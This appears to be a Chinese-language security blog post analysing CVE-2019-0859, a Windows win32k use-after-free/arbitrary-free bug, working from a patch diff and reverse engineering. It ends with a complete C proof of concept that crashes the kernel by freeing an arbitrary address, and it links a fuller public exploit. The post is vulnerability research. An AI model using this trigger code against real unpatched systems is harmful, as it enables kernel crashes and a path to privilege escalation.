CVE-2019-0859分析

  • 内容
  • 评论
  • 相关

CVE-2019-0859是win32k的一个内核提权漏洞。

最早在2019年4月份首先被卡巴发现:

https://securelist.com/new-win32k-zero-day-cve-2019-0859/90435/

这里将分享一下,在只有补丁对比和少量信息情况下,如何还原漏洞利用。

补丁分析

分别更新微软3月份和4月份补丁。

重点看下两个版本的win32k的补丁对比。

这里是用bindiff对比得出结果:

image

这里很多补丁点,但xxxMenuWindowProc较为可疑。

(实际情况是:你也不确定哪一个是,全部都要看一遍,这里是后面上帝视角得出的结论。)

主要变化就是,多了一条汇编判断:

image

伪码对比就是:

补丁前:

image

补丁后:

image

在此我们可以看到进入xxxMenuWindowProc() 流程后:

如果fnid为0,则会在消息为0x81的情况下,该窗体的fnid将会被改成0x29c

其中,fnid代表该窗口的属性,0x29c代表菜单对象:

image

0x81代表消息WM_NCCREATE

image

上述截图来自于网上泄漏出来的win2000源码。

需要注意的是:xxxMenuWindoProc() 后续调用的xxxRealMenuWindowProc() 却判断了0x130 位置,并最终返回了0

image

漏洞分析

通过卡巴的报告,
我们得出一个初步结论:我们可以通过SetWindowHookEx()处理WM_NCCREATE消息(此时FNID为0),在这里更改窗口的处理函数,最终在win32k!xxxFreeWindow()中释放了一个外部地址。

我们先来看一下xxxFreeWindow()的释放处理:
image

大意就是:

如果是是菜单对象,且wnd+0x130处不为空则直接释放wnd+0x130

至于wnd+0x130代表的含义,我们并没有查询到相关信息

这里需要额外注意的是:

0859在win7原始版本上是没有这段释放逻辑的,也就是说如果你逆向的win32k.sysy中这个函数中没有这段ExFreePoolWithTag操作,那么就说明你的这个版本并不存在此漏洞。

触发思路

大概有两种思路:

  • 1.创建一个菜单对象,然后以某种方式改掉0x130处值,造成错误地址释放。
  • 2.创建一个普通窗口对象,修改完0x130处的值,然后将窗体WndProc指向xxxMenuWindowProc()

第一种思路目前没有试验成功,我们将说明第二种。

我们先来看下CreateWinowEx() 的流程:

我们发现 CreateWindowEx() 会在创建完窗体的 tagWND 对象后,调用 xxxSendMessageTimeout() 向窗体发送 WM_NCCREATE 消息(此时的 FNID 是0):

image

来看下xxxSendMessageTimeout() 关键部分:

image

xxxSendMessageTimeout() 首先会通过xxxCallHook() 调用我们之前用SetWindowHookEx() 设置的回调,然后会调用该窗口的处理函数。

我们将在回调中修改该窗口的处理函数指向xxxMenuWindowProc(),我们发现使用函数SetWindowLongPtr(),第二个参数设成GWLP_WNDPROC可以达成这一目的。

但是在这里我们遇到了一个很大的问题:

xxxSendMessageTimeout() 会判断wnd窗口的state标志位,这里如果直接调用SetWindowLongPtr() 修改成内核的xxxMenuWindowProc后,虽然修改成功,但是在后续的state的判断中并未通过,最终导致没有调用到xxxMenuWindowProc()

这是为什么呢,我们来继续分析一下:

WFSERVERSIDEPROC标志位

来看一下SetWindowLongPtr() 中调用的xxxSetWindowData() 设置lpfnWndProc 的地方:

image

其中0x204代表:WFSERVERSIDEPROC

image

NewLong是我们在 SetWindowLongPtr() 传入的第三个参数。

如果MapClientToServerPfn() 返回的值是非0的话,会直接将我们的Newlong 赋值给wnd->lpfnWndProc ,但是会导致SetOrClrWF() 取消WFSERVERSIDEPROC 标志位,最终导致了 xxxSendMessageTimeout() 中未调用该处理函数。

不过,我们发现MapClientToServerPfn()只要传入指定参数,可以让MapClientToServerPfn() 返回 xxxMenuWndProc() 地址。

我们来看下MapClientToServerPfn():

image

函数很简短,我们发现该函数会将dwNewLonggpsi 指向的apfnClientAapfnClientW比对,
如果比对成功返回aStoCidPfn数组中的值。

我们通过动态调试看aStoCidPfn:

image

其中第三项指向了我们的想要的目标函数.

然后我们再看下apfnClientAapfnClientW

image

apfnClientW和此类似,就不贴截图了

然后进一步发现dwNewLong只要是等于pfnMenuWndProc的值就可以成立,达到我们的目标。

我们再看看pfnMenuWndProc是什么:

image

发现指向了ntdll未导出的的函数表。

那么我们怎么定位这个地址呢?

通过IDA逆向发现,这个地址和ntdll的导出函数 RtlInitializeNtUserPfn() 有关

image

可以动态从该函数得出偏移计算出NtUserPfn

image

NtUserPfn的第三项指向了该值

最后漏洞流程总结如图:

image

蓝屏堆栈:

image

蓝屏验证poc:

// 编译成64位程序
#include "stdafx.h"
#include <Windows.h>

#define MY_MENUCLASS_NAME L"112233"

ULONG_PTR GetNtdllMenuWndProc()
{
    HMODULE hModule = LoadLibraryW(L"ntdll.dll");
    if (hModule == NULL)
    {
        return 0;
    }

    PUCHAR pfnRtlInitializeNtUserPfn = (PUCHAR)GetProcAddress(hModule, "RtlInitializeNtUserPfn");
    if (pfnRtlInitializeNtUserPfn == NULL)
    {
        return 0;
    }

#define NT_USER_PFN_TABLE_OFFSET 0x14
    //48 8D 0D xx xx xx xx  ;lea rcx, NtUserPfn

    if (pfnRtlInitializeNtUserPfn[NT_USER_PFN_TABLE_OFFSET] != 0x48 ||
        pfnRtlInitializeNtUserPfn[NT_USER_PFN_TABLE_OFFSET + 1] != 0x8D ||
        pfnRtlInitializeNtUserPfn[NT_USER_PFN_TABLE_OFFSET + 2] != 0x0D)
    {
        return 0;
    }

    ULONG32 uNtUserPfnOffset = *(PULONG32)(pfnRtlInitializeNtUserPfn + NT_USER_PFN_TABLE_OFFSET + 3);

    PUINT64 pNtUserPfn = (PUINT64)(
        (ULONG_PTR)pfnRtlInitializeNtUserPfn +
        NT_USER_PFN_TABLE_OFFSET +
        7 +
        uNtUserPfnOffset);

    ULONG64 NtdllMenuWndProcA = pNtUserPfn[2];
    return NtdllMenuWndProcA;
}

LRESULT WindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
    tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;
    static HWND hwndMenuHit = 0;
    static UINT iShadowCount = 0;

    WCHAR szClassName[64] = { 0 };
    GetClassNameW(cwp->hwnd, szClassName, 64);

    if (lstrcmpW(szClassName, MY_MENUCLASS_NAME) != 0)
    {
        return  CallNextHookEx(0, code, wParam, lParam);
    }

    if (cwp->message == WM_NCCREATE)
    {
        printf("[+]WindowHookProc : WM_NCCREATE..\n");

        // 这里可以造成地址任意释放, 0x1122334455667788是释放地址
        SetWindowLongPtrW(cwp->hwnd, 8, 0x1122334455667788);

        // 更改WndProc为系统的MenuWndProc地址
        ULONG64 NtdllMenuWndProcA = GetNtdllMenuWndProc();
        SetWindowLongPtrW(cwp->hwnd, GWLP_WNDPROC, NtdllMenuWndProcA);
    }

    return CallNextHookEx(0, code, wParam, lParam);
}

INT Exploit_0859_FreeAddr(ULONG64 Addr)
{
    SetWindowsHookExW(WH_CALLWNDPROC, 
        WindowHookProc,
        GetModuleHandleA(NULL),
        GetCurrentThreadId());

    WNDCLASSEXW Class = { 0 };
    Class.cbSize = sizeof(WNDCLASSEXA);
    Class.lpfnWndProc = DefWindowProcW;
    Class.cbWndExtra = 16;
    Class.hInstance = GetModuleHandleA(NULL);
    Class.lpszMenuName = NULL;
    Class.lpszClassName = MY_MENUCLASS_NAME;
    if (!RegisterClassExW(&Class))
    {
        return -1;
    }

    HWND hwnd = CreateWindowExW(0, MY_MENUCLASS_NAME, NULL, NULL,
        0, 0, 0, 0,
        NULL, NULL, GetModuleHandleA(NULL), NULL);
    if (hwnd == NULL)
    {
        return -1;
    }
    printf("[+]hwnd:%p\n", hwnd);
    return 0;
}


int main()
{
    Exploit_0859_FreeAddr((ULONG64)NULL);

    getchar();
    return 0;
}

完整利用可以参考网上公开poc:

https://github.com/Sheisback/CVE-2019-0859-1day-Exploit